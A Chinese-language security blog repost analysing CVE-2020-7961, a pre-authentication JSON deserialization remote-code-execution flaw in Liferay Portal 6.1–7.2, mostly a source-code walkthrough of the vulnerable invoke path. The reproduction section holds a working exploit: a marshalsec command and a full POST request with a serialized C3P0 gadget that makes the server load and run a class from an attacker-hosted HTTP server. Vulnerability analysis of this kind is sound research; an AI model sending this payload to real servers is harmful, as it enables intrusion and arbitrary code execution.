免费发布信息
当前位置:APP交易 > 热点资讯 > app交易 >  CVE-2020-7961 Liferay Portal 反

CVE-2020-7961 Liferay Portal 反

发表时间:2021-07-09 16:55:46  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

漏洞概述

2020/3/24日,陈师傅在推特上转发了一篇文章,在该文中Code White 公开了 Liferay Portal JSON反序列化RCE漏洞,攻击者可以发送payload到服务器造成远程代码执行,本文是对其的分析。

影响版本

Liferay Portal 6.1、6.2、7.0、7.1、7.2

漏洞复现

下载 https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 tomcat集成包

生成poc

java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8989/ Exp

本地起http托管Exp.class,请求包

POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 1355
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3Aaced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a7070707070707070707078740003457870740016687474703a2f2f3132372e302e302e313a383938392f740003466f6f%3B%22%7D

本地起http服务放Exp.class,弹出计算器。

漏洞分析

先用一句话概括整个漏洞:在身份认证拒绝之前就反序列化了传入的json Object。

调试tomcat

为了方便调试,需要配置下tomcat远程调试,修改liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin\catalina.bat,首行加入

set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socketserver=ysuspend=naddress=8001

idea配置远程tomcat

运行如图就表示debug成功

Liferay Portal的JSON API

Liferay Portal 提供了一些api,访问 http://127.0.0.1:8080/api/jsonws 可以看到这些方法。这些方法有几种调用形式:

  1. 通过 http://127.0.0.1:8080/api/jsonws/invoke 将要调用的方法和参数通过POST传递调用
  2. 通过url的形式调用/api/jsonws/service-class-name/service-method-name

更多可以移步官方文档

  1. Invoking JSON Web Services
  2. JSON Web Services Invoker

接下来我们分析下整个api的调度流程。
在web.中存在一条API的映射规则/api/jsonws/*

其对应的类为 com.liferay.portal.jsonwebservice.JSONWebServiceServlet

这个类是一个servlet,继承了自己实现的JSONServlet接口

在service方法中,JSONWS_WEB_SERVICE_API_DISCOVERABLE用来决定API页面是否展示所有的json web服务,其定义在portal.properties中的jsonws.web.service.api.discoverable属性。

如果JSONWS_WEB_SERVICE_API_DISCOVERABLE为真,并且path为空或者/也就是访问http://127.0.0.1:8080/api/jsonws或者http://127.0.0.1:8080/api/jsonws/就会列出所有的api列表。

当我们通过invoke调用方法时,进入else分支,进入到其父类 JSONServletservice()

进入com.liferay.portal.struts.JSONAction#execute

在rerouteExecute()中会重新检查访问的path,进而checkAuthToken()鉴权,然后通过getJSON()从request获取传入的json

因为并没有传入servletContextName参数,返回false,进入checkAuthToken()

authType为空,直接return,进而进入了com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON

没有上传异常,进入getJSONWebServiceAction()

返回了一个JSONWebServiceInvokerAction对象,然后进入JSONWebServiceInvokerAction.invoke(),在invoke的第一行反序列化了this._command

this._command是在自身的构造方法中通过传入的cmd参数赋值

漏洞的反序列化点,并不是传入的cmd参数。

接下来就是通过传入的cmd参数来调用不同的api方法

这一块是为了实现批量调用API方法,可以看官方的文档。

接下来是_parseStatement获取传入的api方法_executeStatement执行

_parseStatement时为了兼容传入[]列表批量调用,参考文档嵌套服务调用

折叠的代码块中就是实现嵌套的代码,在exp中,我们只传入了cmd={"/expandocolumn/add-column":{}},所以statement.setMethod(assignment.trim())/expandocolumn/add-column之后进入while就return了。

再来看_executeStatement()

getJSONWebServiceAction()最后返回的是一个JSONWebServiceActionImpl实例

public JSONWebServiceAction getJSONWebServiceAction(HttpServletRequest httpServletRequest String path String method Map<String Object> parameterMap) throws NoSuchJSONWebServiceException {
    JSONWebServiceActionParameters jsonWebServiceActionParameters = new JSONWebServiceActionParameters();
    jsonWebServiceActionParameters.collectAll(httpServletRequest (String)null (JSONRPCRequest)null parameterMap);
    JSONWebServiceActionConfig jsonWebServiceActionConfig = this._findJSONWebServiceAction(httpServletRequest path method jsonWebServiceActionParameters);
    return new JSONWebServiceActionImpl(jsonWebServiceActionConfig jsonWebServiceActionParameters this._jsonWebServiceNaming);
}

然后进入com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke

进入_invokeActionMethod()

分别获取Object、Method、actionClass,然后通过_prepareParameters()获取参数,这个函数也是漏洞关键的函数。

_prepareParameters()中,首先通过反射拿到所有的参数

for遍历拿到参数名并处理参数值,当参数值不为空时,会进行类型转换。

Class<?> parameterType = methodParameters[i].getType();
String parameterTypeName = this._jsonWebServiceActionParameters.getParameterTypeName(parameterName);
if (parameterTypeName != null) {
    ClassLoader classLoader = actionClass.getClassLoader();
    parameterType = classLoader.loadClass(parameterTypeName);
    if (!ReflectUtil.isTypeOf(parameterType methodParameters[i].getType())) {
        throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type " parameterType.getName() " for method argument " i}));
    }
}

通过反射判断api方法参数和传入的参数类型是否一致,如果一致继续运行

if (value.equals(Void.TYPE)) {
    parameterValue = this._createDefaultParameterValue(parameterName parameterType);
} else {
    parameterValue = this._convertValueToParameterValue(value parameterType methodParameters[i].getGenericTypes());
    ServiceContext serviceContext = this._jsonWebServiceActionParameters.getServiceContext();
    if (serviceContext != null && parameterName.equals("serviceContext")) {
        if (parameterValue != null && parameterValue instanceof ServiceContext) {
            serviceContext.merge((ServiceContext)parameterValue);
        }

        parameterValue = serviceContext;
    }
}

根据参数类型来进入无参函数_createDefaultParameterValue()或有参函数_convertValueToParameterValue(),在_convertValueToParameterValue()中通过json反序列化传入的参数值,赋值给parameterValue。

private Object _convertValueToParameterValue(Object value Class<?> parameterType Class<?>[] genericParameterTypes) {
    Object parameterValue;
    String valueString;
    List list;
    if (parameterType.isArray()) {
        if (parameterType.isInstance(value)) {
            return value;
        } else {
            parameterValue = null;
            if (value instanceof List) {
                list = (List)value;
            } else {
                valueString = value.toString();
                valueString = valueString.trim();
                if (!valueString.startsWith("[")) {
                    valueString = "[".concat(valueString).concat("]");
                }

                list = (List)JSONFactoryUtil.looseDeserialize(valueString ArrayList.class);
            }

            return this._convertListToArray(list parameterType.getComponentType());
        }
    } else if (Enum.class.isAssignableFrom(parameterType)) {
        return Enum.valueOf(parameterType value.toString());
    } else if (parameterType.equals(Calendar.class)) {
        Calendar calendar = Calendar.getInstance();
        calendar.setLenient(false);
        valueString = value.toString();
        valueString = valueString.trim();
        long timeInMillis = GetterUtil.getLong(valueString);
        calendar.setTimeInMillis(timeInMillis);
        return calendar;
    } else if (Collection.class.isAssignableFrom(parameterType)) {
        parameterValue = null;
        if (value instanceof List) {
            list = (List)value;
        } else {
            valueString = value.toString();
            valueString = valueString.trim();
            if (!valueString.startsWith("[")) {
                valueString = "[".concat(valueString).concat("]");
            }

            list = (List)JSONFactoryUtil.looseDeserialize(valueString ArrayList.class);
        }

        return this._generifyList(list genericParameterTypes);
    } else if (parameterType.equals(Locale.class)) {
        String valueString = value.toString();
        valueString = valueString.trim();
        return LocaleUtil.fromLanguageId(valueString);
    } else if (parameterType.equals(Map.class)) {
        parameterValue = null;
        Map map;
        if (value instanceof Map) {
            map = (Map)value;
        } else {
            valueString = value.toString();
            valueString = valueString.trim();
            map = (Map)JSONFactoryUtil.looseDeserialize(valueString HashMap.class);
        }

        return this._generifyMap(map genericParameterTypes);
    } else {
        parameterValue = null;

        try {
            parameterValue = this._convertType(value parameterType);
        } catch (Exception var9) {
            if (value instanceof Map) {
                try {
                    parameterValue = this._createDefaultParameterValue((String)null parameterType);
                } catch (Exception var8) {
                    ClassCastException cce = new ClassCastException(var9.getMessage());
                    cce.addSuppressed(var8);
                    throw cce;
                }

                BeanCopy beanCopy = BeanCopy.beans(value parameterValue);
                beanCopy.copy();
            } else {
                String valueString = value.toString();
                valueString = valueString.trim();
                if (!valueString.startsWith("{")) {
                    throw new ClassCastException(var9.getMessage());
                }

                parameterValue = JSONFactoryUtil.looseDeserialize(valueString parameterType);
            }
        }

        return parameterValue;
    }
}

分别判断是否是Array、Enum、Calendar、Collection、Locale,如果都不是

判断不是map实例并且是以{开头就反序列化JSONFactoryUtil.looseDeserialize(valueString parameterType),如果parameterType可控,那么就会造成反序列化漏洞。

可控parameterType

api的调用基本了解之后,看下漏洞产生的点,根据原作者的思路,在整个jsonwebservice中,只有上文的JSONFactoryUtil.looseDeserialize(valueString parameterType)反序列化对象的类是可变的,具体可不可控还需要来看com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put

put方法中,当参数传入:时,会将_parameterTypes赋值为截取的key、typeName组成的hashmap,从而上文中的parameterType可控,进而造成反序列化,而这个功能其实是为了传入Object对象。在127.0.0.1:8080/api/jsonws中搜索Object参数类型,发现多个api均可传入Object。

比如:/expandocolumn/update-column

寻找gadget

有反序列化点之后我们还要找到可用的gadget

C3P0v0.9.5.3,虽然ysoserial标的是0.9.5.2,但是@l1nk3r师傅在这篇文章中也测试了0.9.5.5都可用。

总结

这个洞来来回回折腾了几天,还是自己太菜了,分析完这个洞,觉得只有真正了解了代码的功能,才能进一步深入挖到漏洞。

最后感谢给与帮助的sky@iiusky、chybeta、r4v3zn、ximcx师傅!

参考链接

  • https://twitter.com/chybeta/status/1242133506974560256
  • https://github.com/mzer0one/CVE-2020-7961-POC
  • https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java
  • https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
  • https://xz.aliyun.com/t/6965

内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470